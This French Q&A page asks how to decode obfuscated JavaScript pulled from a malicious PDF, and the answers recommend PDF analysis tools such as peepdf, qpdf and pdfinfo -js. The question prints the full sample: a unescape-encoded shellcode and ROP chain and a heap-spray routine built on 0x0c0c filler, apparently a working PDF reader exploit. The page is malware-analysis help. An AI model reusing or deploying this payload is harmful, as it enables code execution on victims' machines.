5 votes

Extraire le JavaScript d'un PDF malveillant

J'ai un fichier PDF dont je sais pertinemment qu'il contient un fichier JavaScript script qui fait quelque chose de malveillant, sans vraiment savoir quoi pour le moment.

J'ai réussi à décompresser le fichier PDF et à obtenir le code source JavaScript en clair, mais le code lui-même est en quelque sorte caché dans cette syntaxe que je n'ai jamais vue auparavant.

Exemple de code : Voici à quoi ressemble la majorité du code

var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')

J'imagine que cette notation avec de longs noms de variables/fonctions et des caractères de texte cachés a pour but de confondre les scanners qui recherchent ce type de choses.

Deux questions :

Question 1

Est-ce que quelqu'un peut me dire comment cela s'appelle avec les %u4141 ?

Question 2

Existe-t-il un outil permettant de traduire cette notation en texte clair afin que je puisse voir ce qu'il fait ?

Code JS complet :

var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');

var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");

while (C.length + 20 + 8 < 65536) C+=C;

D = C.substring(0, (0x0c0c-0x24)/2);

D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";

20voto

Kurt Pfeifle Points 24491

Il semble que vous ayez déjà extrait le JavaScript du PDF. Votre problème semble être avec analyse de de ce JavaScript.

Puisque ce sujet (l'obscurcissement et la dissimulation de code JavaScript malveillant dans des fichiers PDF d'apparence inoffensive) semble devenir de plus en plus populaire auprès des auteurs de logiciels malveillants, permettez-moi d'énumérer quelques outils et sites Web qui se sont avérés utiles pour les débutants dans la dissection de ce type de menaces :

  1. PDF-Tools de Didier Stevens
  2. Première partie (sur plusieurs) des screencasts sur les malwares PDF de Didier Stevens (sur YouTube)
  3. Le QPDF de Jay Berkenbilt : utilitaire pour les transformations PDF préservant le contenu (commande utile pour décompresser tous/la plupart des objets compressés dans un PDF :
    qpdf --qdf original.pdf unpacked.pdf
    puis ouvrir unpacked.pdf dans un éditeur de texte)
  4. Présentation de Julia Wolf sur l'obscurcissement des logiciels malveillants au format PDF
  5. peepdf : Un outil Python pour explorer les PDF (savoir s'ils sont malveillants)
  6. PDFTricks : une liste (non exhaustive) des méthodes d'obscurcissement du code source des PDF
  7. Wepawet : ressource en ligne pour analyser les fichiers PDF/Javascript/Flash (génère un rapport)
  8. Origami-PDF : Outil Ruby pour analyser et générer des PDF malveillants
  9. (... beaucoup d'autres ressources non répertoriées ici...)

Je ne sais pas exactement comment vous avez extrait l'extrait Javascript que vous avez fourni dans votre question. Mais, par tous les moyens, ne comptez pas sur le fait d'avoir trouvé tous du code JS à l'intérieur du PDF - à moins d'être un expert en PDF qui sait où chercher et comment découvrir toutes les obfuscations possibles. (Je vous recommande d'appliquer l'outil n°3 à votre PDF source et d'examiner le PDF résultant à la lumière des conseils du n°6...). Les autres outils peuvent nécessiter une étude plus approfondie de la syntaxe du PDF avant que vous puissiez vraiment les rendre utiles pour vous).


Mise à jour

Voici une mise à jour de ma réponse (vieille de presque 3 ans). Cela vaut la peine de l'ajouter :

  1. pdfinfo -js : les versions les plus récentes (basées sur Poppler !, pas sur XPDF) de pdfinfo (en commençant par v0.25.0 (publié le 11 décembre 2013) connaissent maintenant l'identité de l'entreprise. -js paramètre de ligne de commande qui imprime le code JavaScript intégré dans un fichier PDF.

    Cela fonctionne même pour de nombreux cas où le /JavaScript dans le code source du PDF est obscurci par l'utilisation de constructions de noms PDF (formellement légales) telles que /4Aavascript o /J#61v#61script ou similaire.

    Malheureusement, cette merveilleuse fonctionnalité supplémentaire à pdfinfo est encore beaucoup trop peu connue. Merci de partager !

Mise à jour 2

Une autre mise à jour, parce que le peepdf outil a récemment obtenu le extract sous-commande ajoutée :

  1. peepdf.js : Il s'agit d'un outil en ligne de commande basé sur Python qui peut analyser les fichiers PDF. Il a été développé par Jose Miguel Esparza principalement dans le but de "découvrir si le fichier peut être nuisible ou non" mais il est également très bon pour l'exploration générale des structures de fichiers PDF.

    Installation et utilisation :

    1. Clonez le dépôt GitHub :
      git clone https://github.com/jesparza/peepdf git.peepdf .
    2. Créez un lien symbolique vers le fichier peepdf.py script et le mettre quelque part dans votre $PATH :
      cd git.clone ;
      ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
    3. Exécutez-le en mode interactif, en ouvrant un fichier PDF :
      peepdf.py -fil my.pdf
    4. Utilisez le extract js > all-js-in-my.pdf pour extraire et rediriger tout le JavaScript contenu dans le fichier my.pdf dans un fichier. Ceci est illustré par les captures d'écran ci-dessous :

1voto

Travis Webb Points 5765

Il peut s'agir d'adresses de mémoire, d'appels au système d'exploitation, de pulvérisation du tas, de n'importe quoi.

L'indice est que la fonction qui est appelée est unescape . Pour obtenir les valeurs réelles, vous devez unescape ce texte. Il existe des outils en ligne permettant de décompresser le texte, tels que http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html .

Le résultat sera probablement un déchet en ASCII, mais vous pouvez essayer de le brancher dans un éditeur hexadécimal pour voir si vous pouvez lui donner plus de sens. Si un antivirus peut identifier la source d'infection de ce fichier, vous pourrez peut-être faire plus de recherches sur ce malware particulier et comprendre ce que fait ce code.

Dans l'intérêt de la science, lancez une machine virtuelle Windows, exécutez-la et voyez ce qu'elle fait :)

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X